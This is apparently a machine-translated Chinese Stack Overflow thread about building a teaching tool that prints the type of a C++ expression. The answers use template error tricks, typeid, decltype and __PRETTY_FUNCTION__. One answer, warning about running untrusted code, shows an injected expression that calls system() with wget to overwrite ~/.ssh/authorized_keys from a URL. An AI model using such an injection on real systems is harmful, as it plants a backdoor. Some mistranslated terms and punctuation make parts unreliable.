打印任意 C++ 的类型表达式

Question

我有兴趣编写一个用于教学目的的工具，用于评估 C++ 表达式并打印其类型。本质上，我的想法是我的学生可以输入任何表达式，程序将回显表达式的类型。是否有现有的工具可以做到这一点？如果没有，是否有一种非常简单的方法可以通过与现有编译器集成并调用其调试器或 API 来实现？例如，有人告诉我，Clang 有一个相当完整的编译器 API，也许有某种方法可以将字符串与适当的包含指令一起传递到 Clang 中，并让它吐出一个类型？

我意识到，如果目前还没有类似的项目，这可能是一个巨大的项目。我只是认为它具有重要的教育价值，所以看起来值得检查。

Answer 1

受本·沃伊特评论的启发，我想出了一个答案。只需创建一个错误，然后让编译器告诉您导致该错误的类型：

template <typename T> void foo(T); // No definition

int main() {
  foo(1 + 3.0);
}

结果：

In function `main':
prog.cpp:(.text+0x13): undefined reference to `void foo<double>(double)'

另外，因为您只执行编译器，你很安全。确实不需要沙箱。如果您得到除“对 void foo(T) 的未定义引用”以外的任何内容，则它不是表达式。

[编辑] 你会如何将其放入工具中？简单，使用宏

// TestHarness.cpp
// Slight variation to make it a compile error
template <typename T> void foo(T) { typename T::bar t = T::bar ; }

int main() {
  foo(EXPR);
}

现在使用 $(CC) /D=(EXPR) TestHarness.cpp 进行编译。使您不必每次都重建输入文件。

Answer 2

进一步改进 MSalter 的改进：

class X {
  template <typename T> static void foo(T) {}
};

int main() {
  X::foo( $user_code );
}

结果（使用 $user_code = "1 + 3.0")：

prog.cpp: In function ‘int main()’:
prog.cpp:2: error: ‘static void X::foo(T) [with T = double]’ is private
prog.cpp:6: error: within this context

这避免了链接步骤。

---

原始答案：

C++ 有 typeid 关键字。从概念上讲，您只需将用户的表达式粘贴到一些样板中，例如：

extern "C" int puts(const char *s);
#include <typeinfo>

int main(void)
{
    const type_info& the_type = typeid( $user_code );
    puts(the_type.name());
}

然后将该源文件传递给编译器，并运行它以获得答案。

实际上，很难避免运行恶意代码。您需要使用某种类型的沙箱。或者要非常小心，确保没有不匹配的括号（你确实知道什么是三字母，对吧？）。

是的，我知道 typeid 的参数没有被评估。但让 $usercode 为 1)；系统（“wget -O ~/.ssh/authorized_keys some_url”！

更好的选择是避免运行该程序。使用如下框架（需要 C++11）：

extern "C" decltype( $user_code )* the_value = 0;

您可以使用以下选项运行编译器生成调试数据，然后使用例如 dwarf2 读取器库并获取与 the_value 关联的符号类型信息，然后删除一级指针。

Answer 3

以下是在 GCC 和 Clang 中使用 __PRETTY_FUNCTION__ 执行此操作的一种方法：

#include <iostream>
#include <iterator>
#include <cstring>
#include <string_view>
#include <vector>

template<typename T>
static constexpr auto type_name() noexcept {
    // __PRETTY_FUNCTION__ means "$FUNCTION_SIGNATURE [with T = $TYPE]"
    const auto * const begin = std::strchr(__PRETTY_FUNCTION__, '=') + 2; // +2 to skip "= "
    const auto size = static_cast<std::string_view::size_type>(std::cend(__PRETTY_FUNCTION__) - begin - 2); // -2 meaning up to "]\0"
    return std::string_view{ begin, size };
}


template <typename T1, typename T2>
class my_class { }; // Example Class

int main() {
    my_class<int&, std::vector<double>> my_arr[20];
    std::cout << type_name<decltype(my_arr)>();
}

输出关于海湾合作委员会：

my_class<int&, std::vector<double> > [20]

Answer 4

我有兴趣编写一个用于教学目的的工具，用于评估 C++ 表达式并打印其类型。本质上，我的想法是我的学生可以输入任何表达式，程序将回显表达式的类型。是否有现有的工具可以做到这一点？

如今，有一种这样的工具——在线。但它只是作为一个意想不到的副产品做你想做的事情。我说的是 Matt Godbolt 的编译器资源管理器。

您的“程序”将如下所示：

#define EXPRESSION 123

template <typename T> class the_type_of_EXPRESSION_IS_ { };
using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;

现在，如果您将 123 替换为 C++ 表达式，您将 get，在编译器错误消息部分，如下：

<source>:4:72: error: '_' in 'class the_type_of_EXPRESSION_is_<int>' does not name a type

    4 | using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;

      |                                                                        ^

Compiler returned: 1

第一行有您想要的类型，位于尖括号内。